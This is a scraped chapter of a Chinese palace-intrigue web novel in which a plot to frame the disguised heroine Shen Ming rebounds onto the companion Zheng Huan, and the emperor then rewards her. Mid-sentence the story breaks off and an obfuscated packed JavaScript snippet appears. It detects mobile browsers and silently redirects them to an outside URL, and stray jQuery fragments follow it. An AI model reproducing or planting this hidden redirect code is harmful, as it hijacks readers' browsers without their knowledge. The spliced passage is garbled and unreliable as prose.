28.再接赏赐

作品:《太子又在自我攻略了

    没过多久,张顺便再次回来,这次侍卫拿着的就是一个青色包袱了。


    看到那个眼熟的包袱,周贵妃几乎要跳起来,指尖却死死扣住扶手,将翻涌的惊怒强压下去,怎么会……


    “启禀陛下,证据已搜到,同这宫女说的一致,标记也能对上。”张顺躬身回禀。


    永熙帝脸色十分难看,不止做下丑事,还用了别人的名头意图陷害,这样的人竟是他儿子的伴读!


    “此人是谁?”语中含着沉沉的怒意。


    “二皇子伴读,郑涣。”


    郑涣原就惊慌的脸“唰——”一下褪去了所有血色。


    他拼命大喊:“不可能,不可能,绝对不是我,陛下明鉴啊!”


    随即又跪爬着过去一把抱住李瑾的腿:“二皇子救命,救救我!不是我,真的不是我!”


    李瑾咬着牙将他踹到了一边,抬头看周贵妃。


    周贵妃脸色沉的仿佛结了冰,又被这沈明摆了一道,他究竟是怎么发现的!他们前日才把东西放进去,为了能够在众人面前抹黑太子的名声,得知沈明今日回了文华殿就直接来了,这么短的时间他是怎么发现又把东西移到郑涣那里去的!


    但……事到如今,摆在他们面前的只有两个选择:


    要么让郑涣认下这罪名,李瑾这仅剩的一个伴读也就保不住了。


    要么就让这宫女承认她是诬告,但这很有可能会让永熙帝怀疑她,或者认为她无能,弄出这么大的阵仗,到头来却是被一个宫女耍的团团转。


    哪个对她和李瑾来说都是不小的损失!


    周贵妃齿关紧咬,字字都像从牙缝里挤出来,连呼吸都带着狠意:“原来竟是郑涣,本宫真是看错你了!”


    李瑾听到了母妃的话,明白她是准备舍弃了郑涣,心里挣扎了几瞬,到底还是狠心跟着附和:“枉我这么信任你,你竟做出这等丑事来,实在太让我失望了!”


    听着周贵妃和李瑾接连说出的话,郑涣绝望地不住摇头“不是的”“真的不是我”……


    他不明白,今日这出戏应该是二皇子和周贵妃提前设计好的,东西应该在沈明那的,怎么会莫名其妙跑到他的房间!


    还有,二皇子和周贵妃刚才为何也指认说是他做的?难道是……准备将他舍弃了吗……


    不——不行,若是因此被逐出宫去,自己以后的前途……郑涣大口地呼吸着,心口仿若被重石狠狠碾压,他用力握拳,让自己冷静下来——


    再想想,他明明是被冤枉的,肯定会有办法的,沈明不就是——


    郑涣双眼一亮,对了,沈明!一定是沈明将东西放到他房中的!


    他猛地抬头看向沈明,目眦欲裂,正要张口说出是沈明陷害他,却对上了沈明似笑非笑的眼神。


    他一副有恃无恐的样子,仿佛在说:你说啊,说了看有谁会相信你。


    是啊,经过先前那一遭,沈明可以说是整个大殿中最清白的人了。郑涣再次颓丧下来,他此刻攀扯他,只会招致陛下更多的厌恶。


    可是……郑涣咬牙,难道他真要白白背上这次黑锅吗?沈明……李瑾……他在心底反复碾磨这两个让他恨之入骨的名字。


    突然,他想到什么,霍然再次抬首看向沈明——


    沈明见他终于反应过来,对他挑挑眉,示意欠她一件事。


    随即拱手对永熙帝道:“陛下,微臣有一言。”


    永熙帝见是沈明,想起他这次的无妄之灾,面色也缓和了下来:“今日之事你实是苦主,若有什么想要的不妨说来。”


    “多谢陛下,不过臣倒觉得,虽然现在于郑涣处搜到了所谓‘证据’,但此事仍有蹊跷,太子殿下方才说的第一种情形可能性更大些。”


    “哦?”永熙帝道:“你这猜测从何而来?”


    沈明:“是与不是一试便知,还请陛下允许臣问这宫女几个问题。”


    周贵妃抢先道:“证据既都已经找到了,不用再多此一举了吧。”


    “无妨,你问吧。”永熙帝无可无不可,倒是想看看他是如何看出来的。


    周贵妃尖利的视线瞥向屏风另一侧,那宫女瑟缩了一下,深深低下了头。事到如今,她必须按照贵妃的安排,死咬住那位郑涣伴读了,不然若是被判作自己诬告……想到自己可能会有的下场,她心底一寒,止不住打了个冷颤。


    郑涣则目露希冀,祈求地看着沈明,希望他能有办法证明自己的清白。


    沈明稍微加大声音,问:“敢问这位姑娘,你可还有实际证据证明欺辱你的人是郑涣伴读?”


    那宫女略有些犹豫:“他说他是‘沈明’,抢走了我的簪子和贴身衣物,那衣物上有我的——”


    “不——”沈明打断她重复的话:“我是说除了这可以栽赃的证据,其他的,还有么?譬如他长什么样子?事发是在何时何地?”


    那宫女有些惊慌,她自然提前看过沈明的画像,但她现在应该指认那郑涣才对……


    “他、他的声音奴婢记得的,就是方才求饶的那个公子。”宫女想到郑涣方才出过声,赶忙说:“时间,是……是昨日。”


    “相貌呢?”


    “相貌……相貌……”宫女心慌意乱,她不知道郑涣的相貌!


    眼看众人怀疑的视线都投过来,她慌忙说:“当时天色昏暗,奴婢惊吓不已,没看清他的相貌……”


    沈明轻轻一笑:“也就是说,当时时辰很晚了?”


    “是、是……”宫女下意识点头。


    “你说谎!”郑涣大声分辨,宛如抓住了救命稻草:“我分明天色未暗时就离宫了,宫门处均有记录的!”


    说罢,他转而对永熙帝叩首:“陛下,这宫女定是蓄意陷害沈明与我,望陛下一定要详查啊!”


    永熙帝自然也看出这宫女已是慌了神,分寸大乱,言辞经不起半分推敲。


    沈明并不意外,他们原先准备的说辞定是针对她的,昨晚伴读里只有她在宫内,骤然换了郑涣,那宫女定然一时编不出来。


    永熙帝看向张顺,张顺会意,一招手,便有两个侍卫上前来押这宫女下去。


    “奴婢冤枉啊!贵妃娘娘救命!娘娘救救奴婢!”宫女边嘶喊着边被拖了下去。


    众人被这陡生的变局惊得怔在当场,一时殿内竟无人开言语。


    周贵妃脸色发白,嘴角勉强挂上一丝笑意,起身向永熙帝请罪:“都怪臣妾识人不明,竟被这贱婢蒙蔽,误会了两位伴读。”


    永熙帝没有在这里与她计较:“无妨。”转而看向下方的沈明与郑涣:“郑涣——”


    郑涣本就一直跪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134089|196226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在地上没有起来,此刻抖了抖,整个人俯下来。


    “你将浮靡之物带到文华殿,本应处罚。但念你方才也受了一番连累,两两相抵,就不罚你了。”


    郑涣闻言只觉劫后余生,欣喜万分,磕头谢罪:“多谢陛下宽宥,微臣此后定严束自身,谨守宫规,尽心辅佐二皇子殿下,绝不敢再有逾矩之举!”


    永熙帝摆摆手,郑涣擦着冷汗站了起来,回到了李瑾身后,身形交错时李瑾表情阴沉地扎了他一眼,郑涣擦汗的动作一顿,片刻后敛住神色,低头继续擦拭,只是动作慢了些。


    永熙帝再次笑着看向沈明:“适才就说了,今日你着实受了场无妄之灾,这样吧——”


    他沉吟了片刻:“朕再赐你一方端砚,以慰你今日惊吓。”说着对沈明亲近地笑笑:


    “这次可不要再收起来了,尽管用,坏了朕赏你更好的。”


    沈明不意永熙帝竟如此平易近人,脸上带出一丝动容,恭谨地垂首谢恩:“多谢陛下。”


    永熙帝看他也是越看越喜欢,不骄不躁,举止沉稳又不失机敏,很适合跟在太子身边。


    “行了。”永熙帝站起身:“耽误了这小半日,你们继续上课吧,改日朕再来看过你们的功课。”


    两位先生率众人行礼:“恭送陛下,恭送娘娘。”


    终于走了,吴思齐呼出一口气,快要跳出来的心也终于落回去了,刚要安心地坐下,却看到梁先生回台上拿了戒尺向他们走来!


    “除了沈明、谢逸、于昀,手都给我伸出来!”梁先生大喝一声。


    吴思齐当下苦了一张脸。


    一只只手伸了出来,梁先生从前往后狠狠挥下戒尺。


    “持身不正!”连打了郑涣三下。


    “耽于玩物!”这是吴思齐。


    “治学不专!”这是赵清彦。


    “心思不端!”这是成肇。


    众人反应不一,郑涣面无表情,跟刚刚的阵仗比起来,这几下不算什么。吴思齐“嘶嘶——”痛叫。赵清彦觉得很冤枉,平日里他们也偶尔带字画来赏玩的。成肇则默然不语。


    随后,梁先生又和吕先生一起,狠狠训斥了他们一番,给他们加了不少课业,才放他们回去。


    郑涣走之前看了沈明一眼,欲言又止,他知道东西肯定是沈明放在他那的,但刚才如果没有沈明他也前途尽失了……最终他什么也没说跟着李瑾离开了。


    谢逸看见了,朝她抱怨:“早知道管他做什么。”


    沈明也没在意,她帮他说话主要还是为了证明那宫女说谎,那宫女却又为何说谎?对她有何好处?分明是有人指使的,她相信就算张怀义他们没审出什么来,永熙帝也自有推测。


    况且,她后面也有用到郑涣的时候。


    三人也正要出门,突然,沈明发现太子的手背上多了一道红痕,她下意识地伸手:“殿下这是怎么了?”


    李琮冷不防被她一把抓住了手腕,身体瞬间僵住,手臂也下意识用力绷紧。


    继而反应过来,轻轻从沈明手中挣脱:“昨日在卫所不小心划伤的,无碍。”


    沈明看着那过了一晚更显得红肿的伤口,关切道:“伤口不可大意,等回到东宫臣为殿下上药吧?”


    李琮缄默片刻,道:“让谢逸来就行。”